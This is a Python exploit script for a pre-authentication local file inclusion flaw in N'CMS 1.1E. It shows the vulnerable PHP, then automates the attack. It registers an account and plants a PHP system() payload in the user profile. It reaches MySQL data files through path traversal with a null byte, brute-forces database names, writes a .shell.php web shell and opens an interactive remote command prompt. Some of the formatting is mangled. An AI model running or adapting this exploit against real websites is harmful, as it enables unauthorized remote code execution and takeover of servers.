N_CMS 1.1E Pre-Auth - Local File Inclusion Remote Code Exploit



#!/usr/bin/python

# ~INFORMATION
# Exploit Title:    N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit
# Date:         11/3/2011
# Software link:    http://bit.ly/eJAyw5
# Tested on:        Linux bt
# Version:        1.1E
# PHP.ini Settings:    gpc_magic_quotes = Off

# Note: The web application was lucky to not be exploited by session 
# injection with a malicious username example <?php system($_GET[cmd]); 
# as htmlentities() encoded the bracket :-)

# ~VULNERABLE CODE
'''
<?php
if( isset( $_GET['
page'] ) )
{
    if( file_exists( '
page/'.$_GET['page'].'.php' ) )
    {
        include( '
page/'.$_GET['page'].'.php' );
    }
    else
    {
        include( '
page/404.php' );
    }
}
else
{
    include( '
page/home.php' );
}
?>
'''
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
from optparse import OptionParser
from urlparse import urlparse
,urljoin
from urllib import urlopen
from cookielib import CookieJar

__CONTACT__ 
="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="11.3.2011"

usage 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' __file__
parser 
OptionParser(usage=usage)
parser.add_option("-p","--proxy"type="string",action="store"dest="proxy",
        
help="HTTP Proxy <server>:<port>")
parser.add_option("-w","--wordlist"type="string",action="store"dest="wordlist",
        
help="file to use to bruteforce database")
parser.add_option("-c","--credentials"type="string",action="store"dest="credentials",default="hacker:ph33r",
        
help="credentials for login, "
    "or [default: %default]"
)

(
optionsargs) = parser.parse_args()

if 
options.proxy:
    print 
'[+] Using Proxy'+options.proxy

# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        
"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        
"Google Chrome 0.2.149.29 (Windows XP)",
        
"Opera 9.25 (Windows Vista)",
        
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        
"Opera/8.00 (Windows NT 5.1; U; en)"]
agent random.choice(agents)

traversal './../../../../../../../..'

def banner():
    if 
os.name == "posix":
        
os.system("clear")
    else:
        
os.system("cls")
    
header '''
|----------------------------------------|
|Exploit: N'
CMS LFI RCE
|Author: %s
|Date: %s
|----------------------------------------|\n
'''%(__CONTACT__,__DATE__)
    for i in header:
        print "\b%s"%i,
        sys.stdout.flush()
        time.sleep(0.005)

def proxyCheck():
        if options.proxy:
                try:
                        h2 = httplib.HTTPConnection(options.proxy)
                        h2.connect()
                        print "[+] Using Proxy Server:",options.proxy
                except(socket.timeout):
                        print "[-] Proxy Timed Out\n"
                        pass
                        sys.exit(1)
                except(NameError):
                        print "[-] Proxy Not Given\n"
                        pass
                        sys.exit(1)
                except:
                        print "[-] Proxy Failed\n"
                        pass
                        sys.exit(1)

def getProxy():
        try:
                proxy_handler = urllib2.ProxyHandler({'
http': options.proxy})
        except(socket.timeout):
                print "\n[-] Proxy Timed Out"
                sys.exit(1)
        return proxy_handler

cj = CookieJar()
if options.proxy:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
else:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('
User-agent', agent)]

def registerUser():
        webSiteUrl = url.geturl()+"?page=register"
    parameters = {'
login' : username,'password': password,'password2' : password,'email' : 'test@test.com',
    '
register' : '+Enregistrer+'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '
[-] Failed'
        sys.exit()
    print '
[+] Created User'+username    

def edit_profile():
        webSiteUrl = url.geturl()+"?page=edit_profil"
    parameters = { '
User-Agent' : agent,
    '
profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        response = opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()
    print '[+] Added Payload To Page'

def login():
        """ Add php payload to database """
        webSiteUrl = url.geturl()+"?page=register"
    parameters = {'login' : username,'password' : password,'actplayer' : 'login'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:    
        print '[-] Failed'
        sys.exit()
    print '[+] Authenticated To Website'

def traversalCmd(encodedCommand,database):
    webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
    parameters = {'cmd' : encodedCommand}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()

def postRequestWebShell(encodedCommand):
        webSiteUrl = url.geturl()+'.shell.php'
    commandToExecute = [
    ('cmd',encodedCommand)]
    cmdData = urllib.urlencode(commandToExecute)
    try:
        response = opener.open(webSiteUrl, cmdData).read()
    except:
        print '[-] Failed'
        sys.exit()
    return response

def fileCheck():
        webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"
    try:
        response = opener.open(webSiteUrl).read()
    except:
        print '[-] Failed'
        sys.exit()
    doesntExist = re.compile(r"Erreur 404")
    findAnswer = doesntExist.search(response)
    if findAnswer:
        "[-] Can Not Use This Techinque"
        sys.exit()

def bruteForceDatabase():
    try:
            databases = open(options.wordlist, "r").readlines()
            print "[+] Length Of Wordlist: "+str(len(databases))
    except(IOError):
            print "[-] Error: Check Your Wordlist Path\n"
            sys.exit(1)
    for database in databases:
            database = database.replace("\r","").replace("\n","")
            webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
        print '[X] Testing Database Name: '+database
        try:
            response = opener.open(webSiteUrl).read()
        except urllib2.HTTPError, error:
                            print '[-] Failed'
        payload = re.compile(r"Erreur 404")
        findPayload = payload.search(response)
        if not findPayload:
            print '[+] Found Database: '+database+'\n'
            commandLine(database)

def commandLine(database):
    encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
    encodedCommand = base64.b64encode(encodedCommand)
    traversalCmd(encodedCommand,database)
    commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
    while True:
        try:
            command = raw_input(commandLine)
            encodedCommand = base64.b64encode(command)
            response = postRequestWebShell(encodedCommand)
            print response
        except KeyboardInterrupt:
            encodedCommand = base64.b64encode('rm .shell.php')
            postRequestWebShell(encodedCommand)
            print "\n[!] Removed .shell.php\n"
            sys.exit()

if "__main__" == __name__:
        banner()
    try:
            url=urlparse(args[0])
    except:
            parser.print_help()
            sys.exit()
    getProxy()
    username, password = options.credentials.split(':')
    proxyCheck()
    registerUser()
    login()
    edit_profile()
    fileCheck()
    bruteForceDatabase()